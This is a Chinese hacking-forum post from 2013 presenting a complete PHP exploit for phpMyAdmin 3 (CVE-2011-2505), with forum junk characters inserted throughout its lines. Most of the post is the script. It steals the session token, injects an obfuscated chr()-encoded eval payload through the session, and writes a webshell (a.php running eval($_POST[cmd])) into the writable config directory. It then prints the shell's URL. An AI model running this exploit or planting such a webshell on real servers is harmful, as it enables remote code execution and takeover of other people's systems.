找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2109|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。/ u& L# Q: o2 J
! J: P7 T+ u; o2 ]
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
4 m7 k1 _1 H5 R8 b( `- ?& }+ S; ?! |0 o( S: h
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
/ s/ I( }! A' T9 X一是session.auto_start = 1;
/ y" e* O- y0 U0 V) M/ _2 m0 _6 K二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
$ g+ Y5 c, c  v9 W% Y; g当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。* b7 J! q$ j0 Q% Z$ k# {

- j6 v& F: v4 ?  b5 O. O在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。3 ?% \2 t7 d/ |* E2 n/ H
: {4 \9 i. c  E2 S
于是写了这个php版本的exp,代码如下:5 @, _" c( D6 u% Q# {
- y9 M* W4 v% E3 o( l. H
#!/usr/bin/php
$ @9 B" p: Y, s# ?3 E+ N<?php* L) O# _3 m! |/ U
print_r('+ {/ c5 q: P! @( i, s1 k
+---------------------------------------------------------------------------+: G9 n0 K" u5 ^. F& R! g# Q. \  e
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
/ O+ _# D) M" M( T2 R2 \9 zby oldjun(www.oldjun.com)
4 c/ I" S+ x) k. l# i+ mwelcome to www.t00ls.net4 ]: m4 n! d) j  w
mail: oldjun@gmail.com$ ]2 Q8 @$ W: D2 M* B, m( P
Assigned CVE id: CVE-2011-2505# M  S- u8 M' K# v. v/ B
+---------------------------------------------------------------------------+
0 Y. M9 J  G- G( {+ O, r+ o');3 E2 [- f9 q5 `  w7 t+ {9 i
$ S: m  d2 H/ W# G' y
/**
) i3 `; R6 _$ C * working when the directory:"config" exists and is writeable.
" m  V7 ?. Y4 t+ q+ ?/ G**/) S* X  i7 L$ Q$ m1 ^) p6 h9 p

1 J, m1 O6 Y% {& m8 q; ]if ($argc < 3) {
: {3 T: a3 m0 o1 p, c    print_r('
; ?) Z9 l5 m4 h2 o8 F' L$ f8 N: N+---------------------------------------------------------------------------+
8 y, i# u! H: r# @0 BUsage: php '.$argv[0].' host path
0 j$ A- H/ x9 }* Dhost:      target server (ip/hostname)2 n/ W# x$ {: g' w
path:      path to pma3
( S( q* W" R! w9 j3 FExample:0 _& b6 q+ |3 r- c- [
php '.$argv[0].' localhost /pma/, x2 D4 h5 q0 b3 m( p! I
+---------------------------------------------------------------------------+5 W9 F. ^: E2 Z* C; G/ v4 S
');
. {# m# h9 R. I' @8 c- M; D# ]    exit;6 h; G9 u6 i9 U% Q2 \$ q
}
. w, C2 I  ^, z- Q& J8 B; Q" k. n- ~$ @8 ]9 q9 B
$host = $argv[1];
$ J2 j' I. Y3 n+ Q) ~/ k# y& E$path = $argv[2];. v3 W7 I4 R, n+ s+ x8 m# X* `

9 i# l8 v+ A' e! {/**$ I" y3 o* b9 H6 H; A6 V1 T
* Try to determine if the directory:"config" exists" y9 U3 E4 c3 x( j' f" ~) a
**/
9 q6 W5 w+ h+ v' {echo "[+] Try to determine if the directory:config exists....\n";# }! P: f" j6 ~. ~
$returnstr=php_request('config/');6 Y) f! |! {/ o9 v# z, b
if(strpos($returnstr,'404')){) B0 _6 l* M' G& V1 A. z. Q" h
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
/ u$ r5 T3 J$ Y! A}# U! `/ {! I7 |1 x% N

- ]  \9 W+ [" c) V9 a/**
1 Q8 W$ C) b; h- @# s% w * Try to get token and sessionid
3 D5 Y7 C4 \5 c**/! n3 s0 W4 r& ^5 Y2 N! G
echo "[+] Try to get token and sessionid....\n";" L# I/ ~* I+ r
$result=php_request('index.php');5 i; `# S$ v) S0 e
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);# z% J4 K& b# G- x$ M1 b4 ]
$token=$resp[3];
. d" s/ n" }- ^$sessionid=$resp[1];
, l. D5 y8 W% N! kif($token && $sessionid){3 v9 E& \, k  w8 R" C- w
    echo "[+] tokentoken\n";
; z  R% E! p( k/ Y7 k( J    echo "[+] Session IDsessionid\n";+ B+ t7 X' f) X9 O2 A2 T  m
}else{3 U, v# r, ~/ u& H+ w
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
: h, |" v& `, j4 ~5 A$ K}* r( f3 M& @( N

/ s0 T9 A5 O! g/**
  ^0 s1 R& j8 g" ^ * Try to insert shell into session
5 M. T+ J8 p; \; D**/
2 K. m1 t, [3 \) z4 Qecho "[+] Try to insert shell into session....\n";8 C, N1 y& k) R/ Z% P' B
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here., @) t* L  u' G4 h2 y8 e$ e
; E1 ]9 r( F2 _; Y
/**
0 A2 R. D7 f; k; T8 J' k * Try to create webshell# _* w4 l6 M' Y2 G
**/$ P% F2 ~# A4 l: G4 I8 n- b% G/ M
echo "[+] Try to create webshell....\n";
$ ?% T2 U2 x- F8 @1 U4 `* Rphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);/ w/ x- z* r, Z/ W: ?3 [
/**8 R8 D* S+ e, K  ]8 c) t# N+ s
* Try to check if the webshell was created successfully
7 _, F, Q, e( l* m6 P**/4 Z' @% J" ^* }" ]% t* b" ^; w
echo "[+] Try to check if the webshell was created successfully....\n";
# T5 T% Q8 p% l  g2 Q$content=php_request('config/config.inc.php');
1 @( P& N! y+ U+ L4 c+ t% K- ~if(strpos($content,'t00ls')){
0 C* g9 c  `  {    echo "[+] Congratulations! Expoilt successfully....\n";
& \0 |2 ?! H9 ]! j7 S    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";# G0 D3 F5 w1 M" i7 W
}else{) W: s. x5 e5 h/ f2 Q2 f
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
# a+ G" _* k; l3 l}1 p% C0 b+ E" Z; T( v% v

. m& q2 _$ D: E; K3 nfunction php_request($url,$data='',$cookie=''){
# t7 D1 s1 }2 b  i9 l9 r9 Y    global  $host, $path;
4 X  D7 @3 w$ L" ~3 d+ q" B, Z   
; Z. g5 r- }$ @. P3 e5 G    $method=$data?'POST':'GET';
( N, z, U; f" [, z2 _  K    4 `# I  |4 m* N& I8 e1 L
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";7 V7 k7 Q8 M) c  L3 Q
    $packet .= "Accept: */*\r\n";
% a% K! q/ G* `4 E9 P3 G    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
1 n1 w4 R" o* m) c6 A    $packet .= "Host: $host\r\n";2 n" U) S# l- t; u6 V- v
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";4 Z- O' D+ V$ u2 c; H8 l1 D
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";) _0 i( d% v  [
    $packet .= $cookie?"Cookie: $cookie\r\n":"";8 N0 D- Z  [3 l- {+ s; ]
    $packet .= "Connection: Close\r\n\r\n";  F5 o) m" ?0 m) T
    $packet .= $data?$data:"";
9 y& g) r% G1 ~' i, L) m2 a7 @( D* _2 i/ Y5 D7 s# L- T
    $fp = fsockopen(gethostbyname($host), 80);
" f3 z, C# X! ]9 j" I; ]    if (!$fp) {' M! O+ j, O- B3 U
    echo 'No response from '.$host; die;
% [$ k! ^8 r: k* d8 m$ n    }$ a) Y8 h8 ~5 T
    fputs($fp, $packet);# j  |$ E- c8 }2 C
8 }3 w6 N! d5 [( `  u1 K
    $resp = '';  i! B& {+ {" y" P3 J+ W$ U

4 G. k- G* u  Y! y2 _* |    while ($fp && !feof($fp))2 n5 J% t5 W% r6 l; \3 Y3 b
        $resp .= fread($fp, 1024);
! C$ p* z4 b" w% m0 f5 }$ l; y1 P8 k) e8 a: z$ B
    return $resp;! r% B6 ?5 F* b7 X
}
; h1 t6 i8 `& ?: Y2 {   
3 d' W% g- S) n* b! }  t?> 6 u# |# b: \6 V7 t! c; `
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表